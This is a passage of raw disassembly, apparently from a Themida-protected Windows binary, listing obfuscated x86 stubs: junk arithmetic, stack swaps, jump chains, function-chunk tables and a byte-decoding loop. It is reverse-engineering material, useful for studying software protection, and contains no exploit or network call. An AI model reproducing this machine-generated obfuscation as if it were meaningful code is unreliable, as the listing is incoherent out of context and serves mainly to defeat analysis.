push ebx jmp loc_596A64 ; --------------------------------------------------------------------------- loc_5914C3: ; CODE XREF: Themida_:00594E37j push eax jmp loc_595C61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5914C9: ; CODE XREF: sub_5916C4-19FAj pop ebx add eax, 745F2862h sub eax, 3AE1D9ADh and ebp, eax pop eax add ebp, 1 xor ebp, 5DC272E2h inc ebp jmp loc_594B9B ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_5914E9: ; CODE XREF: sub_590467-2C68j pop eax add bl, 1 push ecx mov ch, 67h jmp loc_590B14 ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_5914F5: ; CODE XREF: Themida_:00597572j push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp pop dword ptr [esp] jmp loc_58E7BC ; --------------------------------------------------------------------------- loc_591506: ; CODE XREF: Themida_:0058B18Bj xchg edi, [esp] mov esp, [esp] and [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_591516: ; CODE XREF: sub_5916C4-4147j ; sub_58C17E+A53Ej push ecx push 3E230A94h jmp loc_58C692 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_59667E ; --------------------------------------------------------------------------- loc_591529: ; CODE XREF: Themida_:0058F750j mov ecx, 0DE52ABh jmp loc_5906E6 ; --------------------------------------------------------------------------- loc_591533: ; CODE XREF: Themida_:loc_5944C8j or ebx, 6B1F47A3h jmp loc_58CC3A ; --------------------------------------------------------------------------- loc_59153E: ; CODE XREF: Themida_:00597C32j push ebx mov ebx, 2 add ebp, ebx mov ebx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_59637B ; --------------------------------------------------------------------------- lodsb push small 2020h mov [esp], cx push edx mov dl, 0C2h neg dl shl dl, 5 jmp loc_58CAED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_591573: ; CODE XREF: sub_5938B9:loc_595365j ; sub_5916C4+5961j shl ebx, 2 and ebx, 25C8004Ch add ebx, 4ADDD8A5h mov ecx, ebx pop ebx sub ebp, ecx jmp loc_58F3EC ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_59158C: ; CODE XREF: Themida_:0058C97Aj push small 71C0h mov [esp], ax jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_591599: ; CODE XREF: Themida_:0058ACB1j add edx, 4 add edx, 4 jmp loc_58F94B ; --------------------------------------------------------------------------- loc_5915AA: ; CODE XREF: Themida_:00592732j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edi mov edi, esp sub esp, 4 jmp loc_58B8E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_5915CE: ; CODE XREF: sub_5916C4-2E3Ej pop ecx jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_5915D4: ; CODE XREF: Themida_:0058B57Ej pop ebx push esi jmp loc_590B01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_5915DB: ; CODE XREF: sub_58D99C+687Ej xor [esp+10h+var_10], ecx xor ecx, [esp+10h+var_10] mov esp, [esp+10h+var_10] mov word ptr [esp+10h+var_10], ax jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5915ED: ; CODE XREF: sub_58F5B5+83AFj push ecx mov ecx, 25534DE8h sub edx, ecx pop ecx sub edx, 1C5F236Fh sub edx, 10930B62h sub edx, 38EB75F7h sub edx, 169B1BB5h jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_591613: ; CODE XREF: sub_595123-7726j add eax, 4 xchg eax, [esp+14h+var_14] pop esp jmp loc_58B321 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_59161F: ; CODE XREF: sub_58F5B5+7192j add ebp, 4 push edi mov edi, 4 push esi push ebx jmp loc_592F62 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_591632: ; CODE XREF: Themida_:0058CCEAj push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] idiv ecx push 636Ah mov [esp], edx push eax pushf jmp loc_597DF0 ; --------------------------------------------------------------------------- loc_59164E: ; CODE XREF: Themida_:0058F195j sub ebx, ecx pop ecx not ebx push edx push ebp jmp loc_58F8FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_59165A: ; CODE XREF: sub_590010-4AECj inc eax jmp loc_5927B1 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- lodsd xor eax, ebx push ebp push edx mov edx, 9AA7DB8h mov ebp, 7647E17Ah sub ebp, edx pop edx add ebp, 0FFFFFFFFh shl ebp, 5 or ebp, 23175602h shl ebp, 4 push ebx mov ebx, 6B355527h jmp loc_58D9A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595E21 loc_59168F: ; CODE XREF: sub_595E21-160Bj mov edx, [esp+0] jmp loc_597BE9 ; END OF FUNCTION CHUNK FOR sub_595E21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BA12 loc_591697: ; CODE XREF: sub_58BA12+86AFj push esi mov esi, 56167E51h jmp loc_5924A9 ; END OF FUNCTION CHUNK FOR sub_58BA12 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_5916A2: ; CODE XREF: sub_590010-4BCAj push 4B3Ch mov [esp-0Ch+arg_8], eax jmp loc_58E6D6 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_5916AF: ; CODE XREF: sub_58F5B5+AE2j mov edx, 5A1905A8h xor ebx, edx pop edx jmp loc_590910 ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_5916BC: ; CODE XREF: sub_58C17E+BB45j push dword ptr [esp+0] jmp loc_5941D6 ; END OF FUNCTION CHUNK FOR sub_58C17E ; =============== S U B R O U T I N E ======================================= sub_5916C4 proc near ; CODE XREF: sub_59089C-18F0j var_1A = dword ptr -1Ah var_16 = dword ptr -16h var_12 = dword ptr -12h var_E = dword ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h ; FUNCTION CHUNK AT 0058A806 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058A9A8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058A9F3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058AA99 SIZE 00000043 BYTES ; FUNCTION CHUNK AT 0058ABE9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058AC58 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 0058AFDB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058B27B SIZE 0000002A BYTES ; FUNCTION CHUNK AT 0058B3BD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058B3F0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058B5F8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058B632 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058B765 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058B7E3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058BB06 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0058BD1E SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058BE32 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058C07C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058C497 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0058C4FF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C58D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058C9D9 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058CA29 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058CA87 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058CC90 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058CCA5 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058CD63 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058CDEC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058D413 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058D557 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0058D919 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058DA99 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058DCC0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058DD51 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058DD66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058DFA0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058DFBD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058E221 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058E3B4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058E859 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058E875 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058ED1E SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0058F1B1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058F21F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058F259 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058F3EC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058F8C3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058FAD1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058FB7E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058FC93 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058FCC1 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058FD5F SIZE 00000031 BYTES ; FUNCTION CHUNK AT 005900D6 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00590118 SIZE 0000004B BYTES ; FUNCTION CHUNK AT 005901F7 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00590363 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00590497 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00590631 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00590658 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00590707 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00590845 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00590938 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00590A17 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00590B9E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00590EDD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00590F10 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00590FC6 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005911B2 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059122E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005912D7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005913A4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005914C9 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00591573 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005915CE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00591709 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005919DA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00591A9C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00591CC9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00591CEE SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00591DF6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591F45 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00592019 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00592150 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0059232E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00592503 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005925C3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005927E1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00592972 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005929EC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00592A17 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00592A28 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00592A82 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00592B57 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00592C12 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00592D63 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00592DDC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00592DFF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00593026 SIZE 0000003E BYTES ; FUNCTION CHUNK AT 0059309E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005931C5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005933FD SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005934E2 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005937E0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00593802 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059388D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593925 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00593AB7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00593AF1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00593B98 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00593CC1 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00593D33 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00593D62 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00593E59 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059423F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00594390 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005943BF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005946A9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005946BF SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059470C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059489A SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00594AFD SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00594B5E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00594B9B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00594C3C SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00594CB3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00594DA2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00595431 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059547B SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00595602 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005956BA SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00595705 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005957F7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005958BF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0059596D SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00595A8E SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00595C0E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00595DA2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00595E8C SIZE 0000004C BYTES ; FUNCTION CHUNK AT 00595F9B SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00596109 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00596173 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005963D2 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059641C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00596477 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00596655 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005967C2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00596868 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00596ADF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00596BBC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00596CC1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00596DEA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00596EE8 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00596FF5 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 005972E7 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059750E SIZE 0000003C BYTES ; FUNCTION CHUNK AT 005977C3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00597CE4 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00597F43 SIZE 0000001E BYTES push ebp push eax jmp loc_597CE4 sub_5916C4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5916CB proc near ; CODE XREF: sub_5916C4+2D09j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058A946 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058ADEC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058B0B8 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0058BAB2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058C50F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058C72E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058C76A SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058CEB1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058CFF9 SIZE 00000058 BYTES ; FUNCTION CHUNK AT 0058DEBB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058DF20 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E25F SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0058E4E3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E5C6 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058E6D0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058E893 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058E9E9 SIZE 00000040 BYTES ; FUNCTION CHUNK AT 0058F172 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058F2DF SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058F39F SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0058F57A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058FFD3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005900F4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00590B60 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00590C11 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00591072 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059147B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00592BCF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00592C84 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00592E7F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00592FD6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005937A4 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00593BD3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00593F93 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 005949C1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00594BAC SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005952AE SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005953A1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005959A4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00595DF6 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00595F7D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00596139 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00596671 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00596713 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059682E SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005969EA SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00596BFE SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00596EC3 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005973A9 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00597D1F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00597D45 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00597D77 SIZE 00000015 BYTES sub esp, 4 mov [esp+4+var_4], ebx jmp loc_590B60 sub_5916CB endp ; --------------------------------------------------------------------------- loc_5916D9: ; CODE XREF: Themida_:00594B88j pop ebx mov esi, eax pop eax shl esi, 8 xor esi, 614A6B72h sub ebx, esi pop esi sub esp, 4 mov [esp], ebp mov ebp, 2536581Eh shr ebp, 3 push eax jmp loc_590213 ; --------------------------------------------------------------------------- loc_5916FD: ; CODE XREF: Themida_:0058F562j inc ebx jmp loc_58E314 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_591703: ; CODE XREF: sub_58D99C-15CBj pop ebp jmp loc_592834 ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_591709: ; CODE XREF: sub_5916C4+5C35j lodsb xor al, bl jmp sub_5921D8 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_591711: ; CODE XREF: Themida_:00591DA6j xor ecx, 71AA21AAh xor ebx, ecx pop ecx mov eax, ebx pop ebx jmp loc_58D208 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_591722: ; CODE XREF: sub_590B70+12j push edx mov edx, 7B4459DFh jmp loc_5906B4 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_59172D: ; CODE XREF: sub_590010-12A7j sub eax, 2A0D12AAh jmp loc_58D2ED ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- mov ax, [esp] push 4600h mov [esp], eax jmp loc_590AF7 ; --------------------------------------------------------------------------- mov cx, [esp] push 44B4h mov [esp], esi push esp push dword ptr [esp] pop esi add esp, 4 push ebx jmp loc_594156 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_591765: ; CODE XREF: sub_595123-6328j sub ebp, 6B080B9Ah pop edi xor ebp, edx pop edx push 1F540F2Fh pop edx jmp loc_58D9F0 ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_59177A: ; CODE XREF: Themida_:005902F9j push esi mov esi, 3FC775BDh sub edx, esi jmp loc_593A71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59089C loc_591787: ; CODE XREF: sub_59089C-62AFj xor [edi+24h], eax jmp loc_591877 ; END OF FUNCTION CHUNK FOR sub_59089C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_59178F: ; CODE XREF: sub_5938B9-88B4j mov ebp, [esp+0] jmp loc_58F99E ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- loc_591797: ; CODE XREF: Themida_:0058F88Dj add al, ch pop ecx add al, dh push ecx mov ch, 0CCh inc ch sub ch, 56h add ch, 34h sub al, ch pop ecx push ebx mov bh, 0D0h xor bh, 17h add al, 4Dh add al, bh sub al, 4Dh pop ebx mov edx, [esp] add esp, 4 jmp loc_590A57 ; --------------------------------------------------------------------------- loc_5917C5: ; CODE XREF: Themida_:0059595Dj shl edx, 7 shr edx, 4 jmp loc_58C7B5 ; --------------------------------------------------------------------------- loc_5917D0: ; CODE XREF: Themida_:005938DEj push 5892h mov [esp], ebx mov ebx, 63C24403h push eax jmp loc_58ABDC ; --------------------------------------------------------------------------- loc_5917E3: ; CODE XREF: Themida_:00596D74j inc edi add edi, 6FDC9C57h sub ebx, 13E8271Fh add ebx, edi add ebx, 13E8271Fh mov edi, [esp] jmp loc_58A638 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DBC4 loc_591800: ; CODE XREF: sub_58DBC4+16j or eax, eax jz loc_595295 push ebp push 1E48h mov [esp+4+var_4], ebx push ecx mov ecx, 3A3E677Bh add [esp+8+var_4], ecx mov ecx, [esp+8+var_8] jmp loc_590560 ; END OF FUNCTION CHUNK FOR sub_58DBC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_591823: ; CODE XREF: sub_59762D-A705j sub ebp, 285E5EC5h jmp loc_58C06F ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- loc_59182E: ; CODE XREF: Themida_:0058CF33j xor [esp], esi xor esi, [esp] pop esp mov [esp], edx push ecx jmp loc_5933E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_59183E: ; CODE XREF: sub_595258-9CAEj xor edi, [esp+8+var_8] pop esp and eax, esi jmp loc_58A40F ; END OF FUNCTION CHUNK FOR sub_595258 ; --------------------------------------------------------------------------- loc_591849: ; CODE XREF: Themida_:00595A06j and edi, 13022E1Fh jmp loc_593B85 ; --------------------------------------------------------------------------- loc_591854: ; CODE XREF: Themida_:005962D5j mov al, 2Eh jmp loc_58FA52 ; --------------------------------------------------------------------------- loc_59185B: ; CODE XREF: Themida_:0059045Aj push 13000451h pop ebx jmp loc_5925DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_598028 loc_591866: ; CODE XREF: sub_598028-170Aj pop edx not edx dec edx sub edx, 88B7B349h mov esi, edx jmp loc_592572 ; END OF FUNCTION CHUNK FOR sub_598028 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59089C loc_591877: ; CODE XREF: sub_59089C+EEEj pop eax mov esi, [esp+0] push edi push esp pop edi push ebx mov ebx, 373860A7h or ebx, 78797C9Fh push edi mov edi, 7F797CBBh sub ebx, edi jmp loc_58E0F1 ; END OF FUNCTION CHUNK FOR sub_59089C ; --------------------------------------------------------------------------- loc_591897: ; CODE XREF: Themida_:00597BACj push cx mov cx, 2513h add ax, cx pop cx pop si add ax, bx push esi mov si, 5317h jmp loc_597A11 ; --------------------------------------------------------------------------- loc_5918B1: ; CODE XREF: Themida_:00590280j xchg edx, edi dec edi sub edi, 0AE18F2EEh add ebx, edi pop edi add ebx, 4E8D2BADh sub ebx, eax push esi mov esi, 4E8D2BADh sub ebx, esi pop esi push 71DCh mov [esp], esi push eax jmp loc_58CF57 ; --------------------------------------------------------------------------- mov cx, [esp] push 14D7h mov [esp], eax mov eax, esp add eax, 4 add eax, 2 push eax push dword ptr [esp+4] jmp loc_5902E3 ; --------------------------------------------------------------------------- loc_5918FE: ; CODE XREF: Themida_:0059383Dj xor ebp, 5B30402Ch jmp loc_58BDDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590B70 loc_591909: ; CODE XREF: sub_590B70+3E09j xor edi, 0AFCAA726h push edi pop esi pop edi jmp loc_58CD07 ; END OF FUNCTION CHUNK FOR sub_590B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D236 loc_591917: ; CODE XREF: sub_58D236+6j mov [esp-4+arg_0], ebx push 2A5F18BFh pop ebx not ebx xor ebx, 63672FE0h ja loc_591B4D sub ebx, 36D208D2h mov ebp, ebx pop ebx mov ch, 8Dh push esi loc_59193A: ; CODE XREF: Themida_:005958BAj add edi, 4 sub edi, 4 xchg edi, [esp-4+arg_0] jmp loc_58C6BC ; END OF FUNCTION CHUNK FOR sub_58D236 ; --------------------------------------------------------------------------- loc_59194E: ; CODE XREF: Themida_:00593B2Ej push eax jmp loc_59645B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_591954: ; CODE XREF: sub_58F5B5:loc_594BC3j ; sub_5EC2E8-57517j sub ebp, 2C180382h pop ecx push ebp jmp loc_58CB00 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_591961: ; CODE XREF: sub_58F5B5+375j jmp loc_58C6EC ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- loc_591966: ; CODE XREF: Themida_:00596BE1j pop esi pop ebp add [esp], eax jmp loc_58F8CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 